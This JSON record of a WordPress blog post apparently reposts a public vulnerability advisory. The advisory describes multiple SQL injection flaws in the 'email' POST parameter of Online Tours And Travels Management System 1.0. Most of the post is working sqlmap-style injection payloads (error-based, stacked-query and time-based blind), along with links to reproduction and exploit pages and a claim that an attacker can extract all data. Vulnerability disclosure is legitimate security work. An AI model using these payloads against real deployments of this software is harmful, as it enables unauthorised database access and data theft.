{"id":56594,"date":"2024-05-01T20:40:42","date_gmt":"2024-05-01T16:40:42","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178418\/tmotmsp10-sql.txt"},"modified":"2024-05-01T20:40:42","modified_gmt":"2024-05-01T16:40:42","slug":"online-tours-and-travels-management-system-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/online-tours-and-travels-management-system-1-0-sql-injection\/","title":{"rendered":"Online Tours And Travels Management System 1.0 SQL Injection"},"content":{"rendered":"<p>## Titles: Travel-Manager-OTMSP-1.0 Multiple SQLi<br \/>## Author: nu11secur1ty<br \/>## Date: 05\/01\/2024<br \/>## Vendor: https:\/\/mayurik.com\/<br \/>## Software: https:\/\/www.sourcecodester.com\/php\/14510\/online-tours-travels-management-system-project-using-php-and-mysql.html<br \/>## Reference: https:\/\/portswigger.net\/web-security\/sql-injection<\/p>\n<p>## Description:<br \/>The email parameter appears to be vulnerable to SQL injection attacks.<br \/>A single quote was submitted in the email parameter, and a database<br \/>error message was returned. Two single quotes were then submitted and<br \/>the error message disappeared. The attacker can get all information<br \/>from the system by using this vulnerability!<\/p>\n<p>STATUS: HIGH- Vulnerability<\/p>\n[+]Exploits:<br \/>&#8211; SQLi Multiple:<br \/>&#8220;`mysql<br \/>&#8212;<br \/>Parameter: email (POST)<br \/>Type: error-based<br \/>Title: MySQL &gt;= 5.0 AND error-based &#8211; WHERE, HAVING, ORDER BY or<br \/>GROUP BY clause (FLOOR)<br \/>Payload: email=TIkpBNAj@burpcollaborator.net&#8217; AND (SELECT 8987<br \/>FROM(SELECT COUNT(*),CONCAT(0x717a716b71,(SELECT<br \/>(ELT(8987=8987,1))),0x7176717a71,FLOOR(RAND(0)*2))x FROM<br \/>INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# DdfP&amp;send_email=<\/p>\n<p>Type: stacked queries<br \/>Title: MySQL &gt;= 5.0.12 stacked queries (comment)<br \/>Payload: email=TIkpBNAj@burpcollaborator.net&#8217;;SELECT SLEEP(7)#&amp;send_email=<\/p>\n<p>Type: time-based blind<br \/>Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)<br \/>Payload: email=TIkpBNAj@burpcollaborator.net&#8217; AND (SELECT 9208<br \/>FROM (SELECT(SLEEP(7)))pkFu)# nfTm&amp;send_email=<br \/>&#8212;<br \/>&#8220;`<\/p>\n<p>## Reproduce:<br \/>[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/mayuri_k\/2023\/Travel-Manager-OTMSP-1.0)<\/p>\n<p>## Proof and Exploit:<br \/>[href](https:\/\/www.nu11secur1ty.com\/2024\/05\/travel-manager-otmsp-10-multiple-sqli.html)<\/p>\n<p>## Time spent:<br \/>00:35:00<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## Titles: Travel-Manager-OTMSP-1.0 Multiple SQLi## Author: nu11secur1ty## Date: 05\/01\/2024## Vendor: https:\/\/mayurik.com\/## Software: https:\/\/www.sourcecodester.com\/php\/14510\/online-tours-travels-management-system-project-using-php-and-mysql.html## Reference: https:\/\/portswigger.net\/web-security\/sql-injection ## Description:The email parameter appears to be vulnerable to SQL injection attacks.A single quote was submitted in the email parameter, and a databaseerror message was returned. Two single quotes were then submitted andthe error message disappeared. The attacker can get &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56594","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56594","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56594"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56594\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56594"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56594"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56594"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}